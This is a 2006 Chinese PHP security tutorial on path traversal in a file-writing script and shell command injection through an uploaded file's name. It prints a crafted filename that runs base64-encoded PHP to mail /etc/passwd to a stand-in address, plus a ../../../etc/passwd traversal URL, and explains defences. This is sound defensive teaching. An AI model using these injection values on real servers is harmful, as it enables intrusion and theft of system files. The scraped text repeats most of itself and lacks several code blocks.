PHP 安全及相关
时间:2006-02-11 来源:bingkafei
关注安全问题的重要性
看到的远非全部
阻止用户恶意破坏你的程式最有效却经常被忽略的方法是在写代码时就考虑它的可能性。留意代码中可能的安全问题是很重要的。考虑下边的旨在简化用PHP中写入大量文本文件的过程的实例函数:
这个函数带有两个缺省参数,文件名和要写入文件的文本。
函数将先检查文件是否已被打开;如果是,将使用原来的文件句柄。否则,将自行创建。在这两种情况中,文本都会被写入文件。
如果传递给函数的文件名是NULL,那么所有打开的文件将被关闭。下边提供了一个使用上的实例。
如果开发者以下边的格式来写入多个文本文件,那么这个函数将清楚和易读的多。
让我们假定这个函数存在于一个单独的文件中,这个文件包含了调用这个函数的代码。
下边是一个这样的程式,我们叫它quotes.php:
" method="get">
Choose the nature of the quote:
Humorous quotes
Political quotes
Romantic Quotes
The quote:
Quote saved!";
} else {
echo "Error writing quote";
}
write_text(NULL);
?>
如同你看到的,这位开发者使用了write_text()函数来创建一个体系使得用户可以提交他们喜欢的格言,这些格言将被存放在一个文本文件中。
不幸的是,开发者可能没有想到,这个程式也允许了恶意用户危害web server的安全。
也许现在你正挠着头想着究竟这个看起来很无辜的程式怎样引入了安全风险。
如果你看不出来,考虑下边这个URL,记住这个程式叫做quotes.php:
http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
当这个URL传递给web server 时将会发生什么?
显然,quotes.php将被执行,但是,不是将一句格言写入到我们希望的三个文件中之一,相反的,一个叫做different_file.dat的新文件将被建立,其中包含一个字符串garbage data。
显然,这不是我们希望的行为,恶意用户可能通过把quote指定为../../../etc/passwd来访问UNIX密码文件从而创建一个帐号(尽管这需要web server以superuser运行程式,如果是这样的,你应该停止阅读,马上去修复它)。
如果/home/web/quotes/可以通过浏览器访问,可能这个程式最严重的安全问题是它允许任何用户写入和运行任意PHP程式。这将带来无穷的麻烦。
这里有一些解决方案。如果你只需要写入目录下的一些文件,可以考虑使用一个相关的数组来存放文件名。如果用户输入的文件存在于这个数组中,就可以安全的写入。另一个想法是去掉所有的不是数字和字母的字符来确保没有目录分割符号。还有一个办法是检查文件的扩展名来保证文件不会被web server执行。
原则很简单,作为一个开发者你必须比程式在你希望的情况下运行时考虑更多。
如果非法数据进入到一个form元素中会发生什么?恶意用户是否能使你的程式以不希望的方式运行?什么方法能阻止这些攻击?你的web server和PHP程式只有在最弱的安全链接下才安全,所以确认这些可能不安全的链接是否安全很重要。
常见的涉及安全的错误
这里给出一些要点,一个可能危及安全的编码上的和管理上的失误的简要不完整列表
在PHP中执行系统调用
在PHP中有很多方法可以执行系统调用。
比如,system(), exec(), passthru(), popen()和 反单引号(`)操作符都允许你在程式中执行系统调用。如果不适当的使用上边这些函数将会为恶意用户在你的服务器上执行系统命令打开大门。像在访问文件时,绝大多数情况下,安全漏洞发生在由于不可靠的外部输入导致的系统命令执行。
使用系统调用的一个例子程式
考虑一个处理http文件上传的程式,它使用zip程序来压缩文件,然后把它移动到指定的目录(默认为/usr/local/archives/)。代码如下:
" method="POST">
File to compress:
虽然这段程式看起来相当简单易懂,但是恶意用户却可以通过一些方法来利用它。最严重的安全问题存在于我们执行了压缩命令(通过`操作符),在下边的行中可以清楚的看到这点:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
欺骗程式执行任意shell命令
虽然这段代码看起来相当安全,它却有使任何有文件上传权限的用户执行任意shell命令的潜在危险!
准确的说,这个安全漏洞来自对$cmp_name变量的赋值。在这里,我们希望压缩后的文件使用从客户机上传时的文件名(带有 .zip扩展名)。我们用到了$_FILES['file']['name'](它包含了上传文件在客户机时的文件名)。
在这样的情况下,恶意用户完全可以通过上传一个含对底层操作系统有特殊意义字符的文件来达到自己的目的。举个例子,如果用户按照下边的形式创建一个空文件会怎么样?(UNIX shell提示符下)
[user@localhost]# touch ";php -r '$code=base64_decode(\
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';"
这个命令将创建一个名字如下的文件:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
看起来很奇怪?让我们来看看这个“文件名”,我们发现它很像使CLI版本的PHP执行如下代码的命令:
如果你出于好奇而显示$code变量的内容,就会发现它包含了mail [email protected]
看到的远非全部
阻止用户恶意破坏你的程式最有效却经常被忽略的方法是在写代码时就考虑它的可能性。留意代码中可能的安全问题是很重要的。考虑下边的旨在简化用PHP中写入大量文本文件的过程的实例函数:
这个函数带有两个缺省参数,文件名和要写入文件的文本。
函数将先检查文件是否已被打开;如果是,将使用原来的文件句柄。否则,将自行创建。在这两种情况中,文本都会被写入文件。
如果传递给函数的文件名是NULL,那么所有打开的文件将被关闭。下边提供了一个使用上的实例。
如果开发者以下边的格式来写入多个文本文件,那么这个函数将清楚和易读的多。
让我们假定这个函数存在于一个单独的文件中,这个文件包含了调用这个函数的代码。
下边是一个这样的程式,我们叫它quotes.php:
" method="get">
Choose the nature of the quote:
Humorous quotes
Political quotes
Romantic Quotes
The quote:
Quote saved!";
} else {
echo "Error writing quote";
}
write_text(NULL);
?>
如同你看到的,这位开发者使用了write_text()函数来创建一个体系使得用户可以提交他们喜欢的格言,这些格言将被存放在一个文本文件中。
不幸的是,开发者可能没有想到,这个程式也允许了恶意用户危害web server的安全。
也许现在你正挠着头想着究竟这个看起来很无辜的程式怎样引入了安全风险。
如果你看不出来,考虑下边这个URL,记住这个程式叫做quotes.php:
http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
当这个URL传递给web server 时将会发生什么?
显然,quotes.php将被执行,但是,不是将一句格言写入到我们希望的三个文件中之一,相反的,一个叫做different_file.dat的新文件将被建立,其中包含一个字符串garbage data。
显然,这不是我们希望的行为,恶意用户可能通过把quote指定为../../../etc/passwd来访问UNIX密码文件从而创建一个帐号(尽管这需要web server以superuser运行程式,如果是这样的,你应该停止阅读,马上去修复它)。
如果/home/web/quotes/可以通过浏览器访问,可能这个程式最严重的安全问题是它允许任何用户写入和运行任意PHP程式。这将带来无穷的麻烦。
这里有一些解决方案。如果你只需要写入目录下的一些文件,可以考虑使用一个相关的数组来存放文件名。如果用户输入的文件存在于这个数组中,就可以安全的写入。另一个想法是去掉所有的不是数字和字母的字符来确保没有目录分割符号。还有一个办法是检查文件的扩展名来保证文件不会被web server执行。
原则很简单,作为一个开发者你必须比程式在你希望的情况下运行时考虑更多。
如果非法数据进入到一个form元素中会发生什么?恶意用户是否能使你的程式以不希望的方式运行?什么方法能阻止这些攻击?你的web server和PHP程式只有在最弱的安全链接下才安全,所以确认这些可能不安全的链接是否安全很重要。
常见的涉及安全的错误
这里给出一些要点,一个可能危及安全的编码上的和管理上的失误的简要不完整列表
- 错误1。信赖数据
这是贯穿于我关于PHP程式安全的讨论的主题,你决不能相信一个来自外部的数据。不管它来自用户提交表单,文件系统的文件或者环境变量,任何数据都不能简单的想当然的采用。所以用户输入必须进行验证并将之格式化以保证安全。
- 错误2。在web目录中存储敏感数据
任何和所有的敏感数据都应该存放在独立于需要使用数据的程式的文件中,并保存在一个不能通过浏览器访问的目录下。当需要使用敏感数据时,再通过include 或 require语句来包含到适当的PHP程式中。
- 错误3。不使用推荐的安全防范措施
PHP手册包含了在使用和编写PHP程式时关于安全防范的完整章节。手册也(几乎)基于案例清楚的说明了什么时候存在潜在安全风险和怎么将风险降低到最低。又如,恶意用户依靠开发者和管理员的失误得到关心的安全信息以获取系统的权限。留意这些警告并适当的采取措施来减小恶意用户给你的系统带来真正的破坏的可能性。
在PHP中执行系统调用
在PHP中有很多方法可以执行系统调用。
比如,system(), exec(), passthru(), popen()和 反单引号(`)操作符都允许你在程式中执行系统调用。如果不适当的使用上边这些函数将会为恶意用户在你的服务器上执行系统命令打开大门。像在访问文件时,绝大多数情况下,安全漏洞发生在由于不可靠的外部输入导致的系统命令执行。
使用系统调用的一个例子程式
考虑一个处理http文件上传的程式,它使用zip程序来压缩文件,然后把它移动到指定的目录(默认为/usr/local/archives/)。代码如下:
" method="POST">
File to compress:
虽然这段程式看起来相当简单易懂,但是恶意用户却可以通过一些方法来利用它。最严重的安全问题存在于我们执行了压缩命令(通过`操作符),在下边的行中可以清楚的看到这点:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
欺骗程式执行任意shell命令
虽然这段代码看起来相当安全,它却有使任何有文件上传权限的用户执行任意shell命令的潜在危险!
准确的说,这个安全漏洞来自对$cmp_name变量的赋值。在这里,我们希望压缩后的文件使用从客户机上传时的文件名(带有 .zip扩展名)。我们用到了$_FILES['file']['name'](它包含了上传文件在客户机时的文件名)。
在这样的情况下,恶意用户完全可以通过上传一个含对底层操作系统有特殊意义字符的文件来达到自己的目的。举个例子,如果用户按照下边的形式创建一个空文件会怎么样?(UNIX shell提示符下)
[user@localhost]# touch ";php -r '$code=base64_decode(\
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';"
这个命令将创建一个名字如下的文件:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
看起来很奇怪?让我们来看看这个“文件名”,我们发现它很像使CLI版本的PHP执行如下代码的命令:
如果你出于好奇而显示$code变量的内容,就会发现它包含了mail [email protected]
相关阅读 更多 +